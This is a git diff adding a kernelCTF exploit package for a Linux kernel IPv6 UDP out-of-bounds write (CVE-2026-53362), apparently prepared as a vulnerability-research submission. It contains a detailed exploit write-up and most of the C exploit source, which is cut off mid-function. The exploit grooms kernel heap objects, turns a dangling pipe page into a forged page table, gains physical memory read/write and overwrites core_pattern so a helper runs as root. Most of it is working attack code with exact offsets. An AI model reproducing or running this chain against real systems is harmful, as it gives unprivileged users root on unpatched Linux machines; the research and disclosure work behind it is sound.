diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/exploit.md new file mode 100755 index 000000000..fe9abdc64 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/exploit.md @@ -0,0 +1,272 @@ +# Exploit + +The `lts-6.12.85` exploit turns the Fraggap out-of-bounds write in +`__ip6_append_data()` into an undercounted pipe page, reclaims that page as a +leaf page-table page, and uses forged PTEs to map physical memory. It then +locates and overwrites `core_pattern`; running exactly `./exploit` causes a +memfd-backed core-dump helper to print `/flag`. + +## Exploit Summary + +- **Triggering Fraggap** -> Two pipe-to-UDPv6 splices make a 15-byte + `fraggap` copy run past the new skb's linear tail into + `skb_shared_info`. +- **Planting a stale fragment descriptor** -> A groomed + `skbuff_small_head` leaves a source-pipe page descriptor in `frags[0]`, + while the out-of-bounds copy changes `nr_frags` from zero to one. +- **Undercounting the pipe page** -> The remaining second-splice payload is + installed normally as `frags[1]`; freeing the skb therefore drops one stale + reference from the source page and one valid reference from the trigger + page. +- **Reclaiming a leaf PTE page** -> Closing eight holding pipes reduces the + source page's actual refcount to zero while the original pipe buffer still + points to it, allowing the page to be reused as a leaf page table. +- **Mapping physical memory** -> Writes through the stale pipe buffer install + attacker-selected PTEs in fresh virtual slots, producing physical read and + write access without RIP control. +- **Executing the flag helper** -> The exploit finds the relocated + `core_pattern`, writes `|/proc/%P/fd/666 %P`, and crashes a child so the + kernel executes the memfd-backed exploit as the root core helper. + +## Exploit Details + +### Triggering the Fraggap out-of-bounds write + +The vulnerable path is the UDPv6 corking path in `__ip6_append_data()`. The +exploit creates an unprivileged IPv6 datagram socket on loopback, disables PMTU +discovery, sets the socket MTU to `1287`, installs a 320-byte type-4 IPv6 +routing header, and enables `UDP_CORK`. Data is then sent from pipes with +`splice(..., SPLICE_F_MORE)`, which reaches the `MSG_SPLICE_PAGES` paged +allocation path. + +The trigger geometry is: + +| Value | Purpose | +| --- | --- | +| `IPV6_EXT_LEN = 320` | Makes `fragheaderlen` equal to 360 bytes, including the IPv6 header | +| `TARGET_MTU = 1287` | Produces `maxfraglen = 1272` | +| `FIRST_SPLICE_LEN = 919` | Builds a 1287-byte first skb, 15 bytes beyond `maxfraglen` | +| `SECOND_SPLICE_LEN = 20` | Enters the vulnerable new-skb path and then appends one valid page fragment | +| `SHINFO_INBUF_OFF = 904` | Selects the first payload byte copied beyond the fragment boundary | + +The first skb contains 360 bytes of IPv6 headers, an 8-byte UDP header, and +919 bytes of pipe-backed payload. Its length is therefore 1287 bytes, while +`maxfraglen` is 1272, so the second splice computes: + +```text +fraggap = skb_prev->len - maxfraglen = 1287 - 1272 = 15 +``` + +For the new paged skb, the vulnerable branch accounts for that gap in +`datalen` but not in the linear allocation: + +```text +datalen = length + fraggap +alloclen = fragheaderlen + transhdrlen +pagedlen = datalen - transhdrlen +data = skb_put(skb, fraglen - pagedlen) +copy fraggap bytes to data + transhdrlen +``` + +On this second skb, `transhdrlen` is zero. Consequently, +`fraglen - pagedlen` collapses to the 360-byte fragment-header area, and +`data + transhdrlen` points at the end of the linear data. The subsequent +15-byte `skb_copy_and_csum_bits()` operation copies the tail of the previous +skb directly into offsets `0x00..0x0e` of the trailing +`struct skb_shared_info`. + +The copied bytes come from first-splice payload offsets `904..918`. The input +is zeroed except for: + +```c +trig[SHINFO_INBUF_OFF + 2] = 1; +``` + +Offset `0x02` of `struct skb_shared_info` is `nr_frags`, so the out-of-bounds +copy changes it to one. The fragment array starts at offset `0x30` and is not +overwritten by the 15-byte copy. + +### From stale skb metadata to a dangling pipe page + +The initial skb setup clears the leading `skb_shared_info` fields, including +`nr_frags`, but it does not clear the later `frags[]` array. The exploit uses +that partial initialization to preserve an old `skb_frag_t` whose page field +points to a selected pipe page. + +The page and skb grooming proceed in this order: + +1. The exploit writes 256 bytes of `0x41` into the source pipe `wp`, allocating + one order-0 pipe page. +2. Eight calls to `tee()` clone that pipe buffer into eight holding pipes. + These references keep the page alive while its descriptor is planted and + reused. +3. One corked grooming socket receives + `904 + 16 * 912 = 15496` pipe-backed bytes. After the first 904 bytes, the + sixteen 912-byte portions create sixteen target skb heads whose + `frags[0]` descriptors refer to the source pipe page. +4. The grooming socket is closed immediately before the two trigger splices. + This releases the sixteen target heads together; their page references are + balanced, but descriptor-shaped bytes remain in the freed objects. +5. The vulnerable second skb reuses one of those heads. The 15-byte Fraggap + overwrite sets `nr_frags = 1` while leaving the stale `frags[0]` + descriptor at offset `0x30` intact. +6. The second `splice()` still has 20 bytes to consume. On the next append + iteration, `skb_splice_from_iter()` installs the trigger-pipe page as the + valid `frags[1]` entry and advances `nr_frags` to two. +7. Closing the trigger socket frees the corked write queue. The skb release + path walks both entries: `frags[0]` performs an unmatched page put on the + source pipe page, while `frags[1]` releases the valid reference acquired + for the second trigger pipe. + +The target heads come from the dedicated `skbuff_small_head` cache. Each +704-byte object provides 384 bytes of linear head space followed by the +320-byte `skb_shared_info`. The 320-byte routing header and its option storage +use `kmalloc-512`, while the first trigger skb requires `kmalloc-1k`. The +vulnerable second skb is the 384-byte small-head case, so those unrelated +allocations do not consume the sixteen groomed target objects. + +The relevant release path is: + +```text +close(trigger socket) + -> udp_v6_flush_pending_frames() + -> ip6_flush_pending_frames() + -> kfree_skb() + -> skb_release_data() + -> __skb_frag_unref(frags[0]) # stale source-pipe page + -> __skb_frag_unref(frags[1]) # valid trigger-pipe page +``` + +Ignoring temporary grooming references, which are acquired and released in +balanced pairs, the source page's refcount evolves as follows: + +| Point | Logical owners | Intended refcount | Actual refcount | +| --- | ---: | ---: | ---: | +| Source pipe contains the page | 1 | 1 | 1 | +| Eight holding pipes created with `tee()` | 9 | 9 | 9 | +| Corrupted skb is released | 9 | 9 | 8 | +| Eight holding pipes are closed | 1 | 1 | 0 | + +At the final point, the page allocator sees a free page, but the original +`wp` pipe buffer still contains its page pointer, offset, length, and merge +flag. This dangling pipe buffer is the input primitive for the page-table +reclaim. + +### Reclaiming the dangling page as a leaf PTE page + +The exploit is pinned to CPU 0 so the skb grooming, page free, and page-table +allocation use the same CPU-local allocator state. Before dropping the holding +references, it reserves a 3 GiB anonymous mapping, aligns a 2 GiB working +window to a 1 GiB boundary, and marks the mapping `MADV_NOHUGEPAGE`. One page +in each GiB is touched to populate the upper page-table levels without +allocating the leaf page used by the reclaim attempt. + +After the source page's refcount reaches zero, the exploit faults 31 pages at +4 KiB intervals beginning 2 MiB into the aligned window. These faults require +a fresh order-0 leaf PTE page. If the allocator returns the recently freed +pipe page, the stale `wp` buffer and the page-table walker now refer to the +same physical page. + +The source pipe originally covered 256 bytes filled with `0x41`. Reading +31 PTE-sized values, or 248 bytes, through the stale pipe checks the reclaim: + +- If all 248 bytes are still `0x41`, the selected page was not reused as the + leaf page table. +- If the bytes changed and at least one entry is present with a plausible + physical address, the pipe is exposing the new PTE page. + +The 248-byte read also advances the pipe buffer to offset 248 with eight bytes +remaining. The exploit then appends eight known-good PTE values. Because the +buffer retains `PIPE_BUF_FLAG_CAN_MERGE`, those 64 bytes are written at page +offsets 256 through 319, corresponding to PTE slots 32 through 39. The next +pipe write therefore begins at PTE slot 40, beyond the 31 entries keeping the +reclaim mapping alive. + +If the small-head reuse or page-table reclaim does not occur, the exploit does +not retry in-process. It pauses instead of unmapping or closing the stale +objects, avoiding unsafe teardown after a partially successful attempt. + +### Converting the reclaimed page table into physical access + +At this point the exploit uses the standard dirty-pagetable transition. Pipe +writes begin at PTE slot 40; the exploit preserves the permission and NX bits +from a real entry, replaces the physical frame number, and uses a fresh virtual +slot for each physical page. This yields the physical read/write primitive +used by the final payload without a kernel-text leak or RIP control. + +### core_pattern flag path + +kernelXDK supplies the `lts-6.12.85` link-time physical address of +`core_pattern` (`0x4611740`) and its 16 MiB physical-KASLR alignment. The +exploit checks 224 aligned candidates across the target's low and high RAM +ranges, matching `core_name_size == 0x80`, the live value read from +`/proc/sys/kernel/core_pattern`, and its terminating NUL. It then writes: + +```text +|/proc/%P/fd/666 %P +``` + +The exploit has already copied itself into memfd 666. Crashing a dumpable +child makes the kernel execute that memfd as the core helper; the helper +receives the crashing PID as an argument, reconnects the child's standard +descriptors with pidfds, and prints `/flag`. The main process remains alive to +avoid tearing down the stale page-table state. + +## Additional Notes + +### Build, run, and verification + +The package Makefile builds the exploit, and its normal execution command is: + +```text +./exploit +``` + +The normal flag path uses no command-line options, wrapper script, environment +variable, or manual setup step. + +The recorded local verification campaign on `2026-07-15` used: + +| Item | Value | +| --- | --- | +| Target | `lts-6.12.85` | +| Kernel image | `runs/remote/lts-6.12.85/bzImage` | +| Harness command | Pre-migration: `REMOTE=1 ./run.sh lts-6.12.85`; current equivalent: `./run.sh Fraggap lts-6.12.85` | +| Guest command | `./exploit` | +| Reported kernel | `Linux 6.12.85`, built `2026-04-30` | +| Result | 20 flag-producing runs in 20 valid exploit attempts | + +One additional harness launch failed to mount the guest root filesystem before +a shell appeared, so no exploit process ran on that boot and it was excluded +from the denominator; a later diagnostic boot completed normally. The 20/20 +figure is a recorded local QEMU result, not a formal kernelCTF evaluator +result or a guarantee of universal 100% reliability. Per-run raw transcripts +are not included in this draft package. + +### kernelXDK + +The source embeds `exploit/lts-6.12.85/target_db.kxdb`, initializes +`TargetDb`, and registers the two target values used by the physical scan. It +uses `AutoDetectTarget()` with an explicit fallback and retrieves the values +through `GetSymbolOffset()`. The Makefile compiles the source as C++ against +`exploit/lts-6.12.85/libxdk-v0.1/` and links `-lkernelXDK`; no ROP-related +libxdk API is needed by this data-only chain. + +### Mitigation notes + +The vulnerability is fixed by accounting for `fraggap` in both `alloclen` and +`pagedlen`, which keeps the carried bytes inside the new skb's linear area. +Blocking `splice` prevents this exploit's `MSG_SPLICE_PAGES` trigger but is not +a substitute for that fix. A static usermode-helper configuration can block +the `core_pattern` payload used here, but it does not remove the physical +memory primitive obtained from the reclaimed PTE page. + +### Submission placeholders + +The original-archive provenance remains a draft field. +The user-filled archive values are intentionally blank: + +```text +original.tar.gz: +submitted_sha256: +``` diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/vulnerability.md new file mode 100755 index 000000000..e32598561 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/docs/vulnerability.md @@ -0,0 +1,13 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: None + - **Kernel configuration**: `CONFIG_IPV6=y` + - **User namespaces required**: No +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=773ba4fe9104a64a54d1c00f0fb6ffb95def2b03 +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=736b380e28d0480c7bc3e022f1950f31fe53a7c5 +- **Affected Version**: `v6.6-rc1 - v6.12.94` +- **Affected Component**: ipv6 +- **Syscall to disable**: `splice` +- **Cause**: Out-of-bounds +- **Description**: An out-of-bounds write was discovered in the Linux kernel's IPv6 UDP corking path. When `MSG_SPLICE_PAGES` makes `__ip6_append_data()` enter the paged allocation path, a later append to an already corked skb can compute a non-zero `fraggap` from the previous skb length. The vulnerable paged branch sets `alloclen = fragheaderlen + transhdrlen` and `pagedlen = datalen - transhdrlen` without reserving or subtracting that `fraggap`, even though `datalen` already includes the gap. The new skb linear area is therefore short by `fraggap` bytes while the later copy still writes previous skb tail bytes into `data + transhdrlen`. This can overwrite trailing `struct skb_shared_info` metadata. diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/Makefile b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/Makefile new file mode 100755 index 000000000..c66d82aa9 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/Makefile @@ -0,0 +1,20 @@ +KERNELXDK_DIR ?= ./libxdk-v0.1 +CXXFLAGS ?= -O2 -Wall -static -I$(KERNELXDK_DIR) +LDFLAGS ?= -L$(KERNELXDK_DIR) +LDLIBS ?= -lkernelXDK -pthread + +exploit: exploit.c target_db.kxdb $(KERNELXDK_DIR)/libkernelXDK.a + g++ $(CXXFLAGS) -x c++ $< -o $@ $(LDFLAGS) $(LDLIBS) + +all: exploit + +.PHONY: prerequisites +prerequisites: + +.PHONY: run +run: exploit + ./exploit + +.PHONY: clean +clean: + rm -f exploit diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit new file mode 100755 index 000000000..d8f75077f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c new file mode 100755 index 000000000..0c37949f1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-53362_lts/exploit/lts-6.12.85/exploit.c @@ -0,0 +1,741 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +INCBIN(target_db, "target_db.kxdb"); +asm(".text"); + +#ifndef IPV6_MTU +#define IPV6_MTU 24 +#endif +#ifndef IPV6_MTU_DISCOVER +#define IPV6_MTU_DISCOVER 23 +#endif +#ifndef IPV6_PMTUDISC_DONT +#define IPV6_PMTUDISC_DONT 0 +#endif +#ifndef UDP_CORK +#define UDP_CORK 1 +#endif +#ifndef SPLICE_F_MORE +#define SPLICE_F_MORE 4 +#endif +#ifndef SYS_memfd_create +#define SYS_memfd_create 319 +#endif +#ifndef SYS_pidfd_open +#define SYS_pidfd_open 434 +#endif +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif + +#define PAGE_SIZE_4K 0x1000UL +#define PTE_PADDR_MASK 0x000ffffffffff000UL + +#define IPV6_EXT_LEN 320 +#define TARGET_MTU 1287 +#define FIRST_SPLICE_LEN 919 +#define SECOND_SPLICE_LEN 20 +#define SHINFO_INBUF_OFF 904 +#define SHINFO_NR_FRAGS_OFF 2 +#define SHINFO_FRAG_LIST_OFF 8 +#define KASAN_BAD_FRAG_LIST 0x10 +#define PIPE_PAGE_BYTES 256 +#define STALE_FRAGS 1 +#define HOLD_PIPES 8 +#define GROOM_FIRST_PAGED_BYTES 904 +#define GROOM_TARGET_PAGED_BYTES 912 +#define GROOM_TARGET_HEADS 16 + +#define VR_GB_COUNT 2UL +#define VR_ALIGN (1UL << 30) +#define VR_STRIDE (2UL << 20) +#define SLOT_BASE 40 +#define SLOT_LIMIT 505 + +#define CORE_PATTERN_MAX 128 +#define MAX_REASONABLE_PHYS 0x130000000ULL +#define PHYS_SCAN_LOW_START 0x000000000ULL +#define PHYS_SCAN_LOW_END 0x0c0000000ULL +#define PHYS_SCAN_HIGH_START 0x100000000ULL +#define PHYS_SCAN_HIGH_END 0x120000000ULL + +#define FRAGGAP_TARGET_DISTRO "kernelctf" +#define FRAGGAP_TARGET_RELEASE "lts-6.12.85" +#define CORE_PATTERN_SYMBOL "core_pattern" +#define PHYS_KASLR_ALIGN 0x1000000UL + +static void die(const char *what) +{ + fprintf(stderr, "[-] %s failed: errno=%d (%s)\n", what, errno, strerror(errno)); + exit(1); +} + +static void stop_here(const char *why) +{ + fprintf(stderr, "[!] %s; keeping the process alive to avoid teardown of stale pages\n", why); + fflush(stderr); + for (;;) + pause(); +} + +static int pin_cpu(int cpu) +{ + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + return sched_setaffinity(0, sizeof(set), &set); +} + +static ssize_t xsplice(int fd_in, int fd_out, size_t len, unsigned int flags) +{ + return syscall(SYS_splice, fd_in, NULL, fd_out, NULL, len, flags); +} + +static ssize_t xtee(int fd_in, int fd_out, size_t len) +{ + return syscall(SYS_tee, fd_in, fd_out, len, 0); +} + +static void write_all(int fd, const void *buf, size_t len, const char *what) +{ + const unsigned char *p = (const unsigned char *)buf; + + while (len) { + ssize_t n = write(fd, p, len); + + if (n < 0) + die(what); + if (!n) { + fprintf(stderr, "[-] short write in %s\n", what); + exit(1); + } + p += n; + len -= (size_t)n; + } +} + +static Target setup_kernelxdk_database(void) +{ + TargetDb kxdb("target_db.kxdb", target_db); + Target st(FRAGGAP_TARGET_DISTRO, FRAGGAP_TARGET_RELEASE, "6.12.85"); + + st.AddSymbol(CORE_PATTERN_SYMBOL, 0x3611740UL); + kxdb.AddTarget(st); + + try { + Target target = kxdb.AutoDetectTarget(); + + (void)target.GetSymbolOffset(CORE_PATTERN_SYMBOL); + return target; + } catch (...) { + return kxdb.GetTarget(FRAGGAP_TARGET_DISTRO, FRAGGAP_TARGET_RELEASE); + } +} + +static int set_srh_len(int fd) +{ + unsigned char opt[IPV6_EXT_LEN]; + int rest, nseg, tlv; + struct in6_addr loopback; + + memset(opt, 0, sizeof(opt)); + rest = IPV6_EXT_LEN - 8; + nseg = rest / 16; + tlv = rest - nseg * 16; + if (tlv && tlv < 2) { + nseg--; + tlv += 16; + } + + opt[1] = (unsigned char)((IPV6_EXT_LEN - 8) / 8); + opt[2] = 4; + opt[4] = (unsigned char)(nseg - 1); + + if (inet_pton(AF_INET6, "::1", &loopback) != 1) + return -1; + for (int i = 0; i < nseg; i++) + memcpy(opt + 8 + 16 * i, &loopback, sizeof(loopback)); + if (tlv) { + int off = 8 + 16 * nseg; + + opt[off] = 0; + opt[off + 1] = (unsigned char)(tlv - 2); + } + + return setsockopt(fd, IPPROTO_IPV6, IPV6_RTHDR, opt, IPV6_EXT_LEN); +} + +static int make_udp6_socket(void) +{ + struct sockaddr_in6 sa; + int fd, mtu, dont; + + fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + if (fd < 0) + return -1; + + dont = IPV6_PMTUDISC_DONT; + setsockopt(fd, IPPROTO_IPV6, IPV6_MTU_DISCOVER, &dont, sizeof(dont)); + + mtu = TARGET_MTU; + setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &mtu, sizeof(mtu)); + + if (set_srh_len(fd) != 0) { + close(fd); + return -1; + } + + memset(&sa, 0, sizeof(sa)); + sa.sin6_family = AF_INET6; + sa.sin6_port = htons(12345); + memcpy(&sa.sin6_addr, &in6addr_loopback, sizeof(in6addr_loopback)); + if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) != 0) { + close(fd); + return -1; + } + + return fd; +} + +static void prepare_core_helper(void) +{ + int memfd, self; + + memfd = syscall(SYS_memfd_create, "kctf-helper", 0); + if (memfd < 0) + die("memfd_create"); + + self = open("/proc/self/exe", O_RDONLY); + if (self < 0) + die("open self"); + + for (;;) { + unsigned char tmp[4096]; + ssize_t n = read(self, tmp, sizeof(tmp)); + + if (n < 0) + die("read self"); + if (!n) + break; + write_all(memfd, tmp, (size_t)n, "copy helper"); + } + + close(self); + if (dup2(memfd, 666) != 666) + die("dup2 helper"); + close(memfd); +} + +static int helper_main(const char *pid_text) +{ + int pid = atoi(pid_text); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int in, out, errfd; + + if (pfd >= 0) { + in = syscall(SYS_pidfd_getfd, pfd, 0, 0); + out = syscall(SYS_pidfd_getfd, pfd, 1, 0); + errfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + if (in >= 0) + dup2(in, 0); + if (out >= 0) + dup2(out, 1); + if (errfd >= 0) + dup2(errfd, 2); + } + + (void)!write(1, "[+] core_pattern helper is running\n", 35); + execl("/bin/cat", "cat", "/flag", NULL); + execl("/cat", "cat", "/flag", NULL); + perror("execl cat"); + return 1; +} + +static int prepare_stale_frag_descriptors(int src_rd) +{ + int s = make_udp6_socket(); + int gp[2]; + int one = 1; + size_t total = GROOM_FIRST_PAGED_BYTES + + GROOM_TARGET_HEADS * GROOM_TARGET_PAGED_BYTES; + size_t left = total; + ssize_t n; + + if (s < 0) + die("groom socket"); + if (pipe(gp) != 0) + die("groom pipe"); + fcntl(gp[1], F_SETPIPE_SZ, 1 << 20); + + setsockopt(s, IPPROTO_UDP, UDP_CORK, &one, sizeof(one)); + while (left) { + size_t want = left < PIPE_PAGE_BYTES ? left : PIPE_PAGE_BYTES; + + if (xtee(src_rd, gp[1], want) != (ssize_t)want) + die("groom tee fill"); + left -= want; + } + + n = xsplice(gp[0], s, total, SPLICE_F_MORE); + if (n != (ssize_t)total) + die("groom splice"); + + close(gp[0]); + close(gp[1]); + return s; +} + +struct pt_win { + unsigned char *raw; + unsigned char *aligned; + unsigned char *base; + unsigned char *scratch; + size_t scratch_len; + uint64_t flags; + uint64_t nx; + int slot; + int pte_wr; +}; + +static struct pt_win win; +static uint64_t core_pattern_offset; +static unsigned char expected_core_pattern[CORE_PATTERN_MAX]; +static size_t expected_core_pattern_len; + +static void read_current_core_pattern(void) +{ + int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY | O_CLOEXEC); + ssize_t n; + + if (fd < 0) + die("open core_pattern"); + n = read(fd, expected_core_pattern, sizeof(expected_core_pattern) - 1); + close(fd); + if (n <= 0) + die("read core_pattern"); + while (n > 0 && (expected_core_pattern[n - 1] == '\n' || + expected_core_pattern[n - 1] == '\r')) + n--; + if (!n) + stop_here("the current core_pattern is empty"); + expected_core_pattern[n] = '\0'; + expected_core_pattern_len = (size_t)n; +} + +static void setup_target_data(void) +{ + Target target = setup_kernelxdk_database(); + + core_pattern_offset = target.GetSymbolOffset(CORE_PATTERN_SYMBOL); + if (!core_pattern_offset) + stop_here("kernelXDK core_pattern symbol is invalid"); + read_current_core_pattern(); + + fprintf(stderr, "[+] kernelXDK target: %s %s core_pattern offset=0x%lx " + "physical-align=0x%lx current=%s\n", + target.GetDistro().c_str(), target.GetReleaseName().c_str(), + (unsigned long)core_pattern_offset, + (unsigned long)PHYS_KASLR_ALIGN, expected_core_pattern); +} + +static void prepare_pt_reclaim_area(void) +{ + uint64_t gib = VR_ALIGN; + + win.raw = (unsigned char *)mmap(NULL, (VR_GB_COUNT + 1) * gib, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, + -1, 0); + if (win.raw == MAP_FAILED) + die("mmap vr"); + + madvise(win.raw, (VR_GB_COUNT + 1) * gib, MADV_NOHUGEPAGE); + win.aligned = (unsigned char *)(((uintptr_t)win.raw + gib - 1) & ~(gib - 1)); + + for (unsigned long i = 0; i < VR_GB_COUNT; i++) + win.aligned[i * gib] = 1; + + win.scratch_len = 64 * PAGE_SIZE_4K; + win.scratch = (unsigned char *)mmap(NULL, win.scratch_len, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (win.scratch == MAP_FAILED) + win.scratch = NULL; + else + for (size_t i = 0; i < win.scratch_len; i += PAGE_SIZE_4K) + win.scratch[i] = 1; +} + +static void full_tlb_flush(void) +{ + if (!win.scratch) + return; + mprotect(win.scratch, win.scratch_len, PROT_READ); + mprotect(win.scratch, win.scratch_len, PROT_READ | PROT_WRITE); +} + +static volatile unsigned char *map_phys_page(uint64_t phys) +{ + uint64_t pte; + int slot; + + if (win.slot >= SLOT_LIMIT) + return NULL; + + slot = win.slot++; + pte = (phys & PTE_PADDR_MASK) | win.flags | win.nx; + write_all(win.pte_wr, &pte, sizeof(pte), "forge pte"); + full_tlb_flush(); + + return win.base + (uint64_t)slot * PAGE_SIZE_4K; +} + +static int looks_like_leaf_pte(uint64_t pte) +{ + uint64_t phys = pte & PTE_PADDR_MASK; + + return (pte & 1) && phys && phys < MAX_REASONABLE_PHYS; +} + +static int install_dirty_pagetable_from_pipe(int pipe_rd, int pipe_wr) +{ + unsigned char pte_bytes[31 * sizeof(uint64_t)]; + volatile uint64_t *ptes = (volatile uint64_t *)pte_bytes; + unsigned char *candidate; + int first = -1; + ssize_t got; + + if (!win.aligned) + die("prepare_pt_reclaim_area"); + + /* The stale pipe-buffer page should become this fresh leaf PTE page. */ + candidate = win.aligned + VR_STRIDE; + fprintf(stderr, "[*] faulting one leaf PTE page candidate at %p\n", candidate); + for (int i = 0; i < 31; i++) + candidate[(uint64_t)i * PAGE_SIZE_4K] = 0x55; + + got = read(pipe_rd, pte_bytes, sizeof(pte_bytes)); + if (got < 0) + die("read reclaimed pipe page"); + if (got != (ssize_t)sizeof(pte_bytes)) + stop_here("pipe read was short while checking reclaimed page"); + + for (int i = 0; i < (int)sizeof(pte_bytes); i++) { + if (pte_bytes[i] != 0x41) { + first = -2; + break; + } + } + if (first != -2) + stop_here("pipe page was not reused as the selected leaf page table"); + + for (int i = 0; i < 31; i++) { + if (looks_like_leaf_pte(ptes[i])) { + first = i; + break; + } + } + if (first < 0) + stop_here("reclaimed pipe page did not expose plausible PTEs"); + + fprintf(stderr, "[+] reclaimed leaf PT through pipe: first pte[%d]=0x%lx\n", + first, (unsigned long)ptes[first]); + + /* Pad with known-good entries so forged mappings begin at SLOT_BASE. */ + for (int i = 0; i < 8; i++) + write_all(pipe_wr, (const void *)&ptes[i], sizeof(uint64_t), "pad pte pipe"); + + win.pte_wr = pipe_wr; + win.base = candidate; + win.flags = ptes[first] & 0xfffUL; + win.nx = ptes[first] & (1ULL << 63); + win.slot = SLOT_BASE; + + return 0; +} + +static uint64_t find_core_pattern_phys(void) +{ + static const uint64_t ranges[][2] = { + { PHYS_SCAN_LOW_START, PHYS_SCAN_LOW_END }, + { PHYS_SCAN_HIGH_START, PHYS_SCAN_HIGH_END }, + }; + uint64_t symbol_page = core_pattern_offset & ~(PAGE_SIZE_4K - 1); + uint64_t page_residue = symbol_page & (PHYS_KASLR_ALIGN - 1); + size_t core_offset = core_pattern_offset & (PAGE_SIZE_4K - 1); + size_t candidate_count = 0; + + if (!core_pattern_offset || !expected_core_pattern_len) + stop_here("kernelXDK target data was not initialized"); + if (core_offset < sizeof(uint32_t) || + core_offset + expected_core_pattern_len + 1 > PAGE_SIZE_4K) + stop_here("core_pattern page offset is invalid"); + + for (size_t range = 0; range < sizeof(ranges) / sizeof(ranges[0]); range++) { + uint64_t phys = (ranges[range][0] & ~(PHYS_KASLR_ALIGN - 1)) + + page_residue; + + if (phys < ranges[range][0]) + phys += PHYS_KASLR_ALIGN; + for (; phys < ranges[range][1]; phys += PHYS_KASLR_ALIGN) + candidate_count++; + } + if (candidate_count + 1 > SLOT_LIMIT - SLOT_BASE) + stop_here("physical KASLR candidates do not fit in the leaf PTE page"); + + fprintf(stderr, "[*] scanning all RAM for %zu physical KASLR candidates " + "at page offset 0x%zx\n", candidate_count, core_offset); + + for (size_t range = 0; range < sizeof(ranges) / sizeof(ranges[0]); range++) { + uint64_t phys = (ranges[range][0] & ~(PHYS_KASLR_ALIGN - 1)) + + page_residue; + + if (phys < ranges[range][0]) + phys += PHYS_KASLR_ALIGN; + for (; phys < ranges[range][1]; phys += PHYS_KASLR_ALIGN) { + volatile unsigned char *page = map_phys_page(phys); + volatile unsigned char *core; + volatile unsigned char *size_marker; + int matched = 1; + + if (!page) + stop_here("ran out of PTE slots while scanning physical RAM"); + core = page + core_offset; + size_marker = core - sizeof(uint32_t); + if (size_marker[0] != 0x80 || size_marker[1] != 0x00 || + size_marker[2] != 0x00 || size_marker[3] != 0x00) + continue; + for (size_t i = 0; i < expected_core_pattern_len; i++) { + if (core[i] != expected_core_pattern[i]) { + matched = 0; + break; + } + } + if (!matched || core[expected_core_pattern_len] != '\0') + continue; + + fprintf(stderr, "[+] core_pattern object at phys 0x%lx\n", + (unsigned long)(phys + core_offset)); + return phys + core_offset; + } + } + + return 0; +} + +static void write_phys_bytes(uint64_t phys, const void *src, size_t len) +{ + while (len) { + uint64_t page_phys = phys & ~(PAGE_SIZE_4K - 1); + size_t off = phys & (PAGE_SIZE_4K - 1); + size_t n = PAGE_SIZE_4K - off; + volatile unsigned char *dst_page = map_phys_page(page_phys); + + if (!dst_page) + stop_here("ran out of PTE slots while writing physical memory"); + if (n > len) + n = len; + memcpy((void *)(dst_page + off), src, n); + src = (const unsigned char *)src + n; + phys += n; + len -= n; + } +} + +static void overwrite_core_pattern(void) +{ + const char pattern[] = "|/proc/%P/fd/666 %P"; + uint64_t core_phys = find_core_pattern_phys(); + + if (!core_phys) + stop_here("core_pattern scan did not find the current object"); + + write_phys_bytes(core_phys, pattern, sizeof(pattern)); + fprintf(stderr, "[+] core_pattern overwritten with %s\n", pattern); +} + +static void vuln_setup(int trigger_pipes[2][2], size_t shinfo_offset, + unsigned char value) +{ + unsigned char payload[FIRST_SPLICE_LEN] = {}; + + if (pipe(trigger_pipes[0]) || pipe(trigger_pipes[1])) + die("trigger pipes"); + fcntl(trigger_pipes[0][1], F_SETPIPE_SZ, 1 << 20); + fcntl(trigger_pipes[1][1], F_SETPIPE_SZ, 1 << 20); + + payload[SHINFO_INBUF_OFF + shinfo_offset] = value; + write_all(trigger_pipes[0][1], payload, FIRST_SPLICE_LEN, + "trigger part1"); + write_all(trigger_pipes[1][1], payload, SECOND_SPLICE_LEN, + "trigger part2"); +} + +// @step(name="Triggering the Fraggap out-of-bounds write") +/* Copies 15 bytes past skb->end into skbuff_small_head's skb_shared_info. */ +static void vuln_trigger(int socket_fd, int trigger_pipes[2][2]) +{ + ssize_t first_len = xsplice(trigger_pipes[0][0], socket_fd, + FIRST_SPLICE_LEN, SPLICE_F_MORE); + ssize_t second_len = xsplice(trigger_pipes[1][0], socket_fd, + SECOND_SPLICE_LEN, SPLICE_F_MORE); + + fprintf(stderr, "[*] trigger splice1=%zd splice2=%zd\n", + first_len, second_len); + if (first_len != 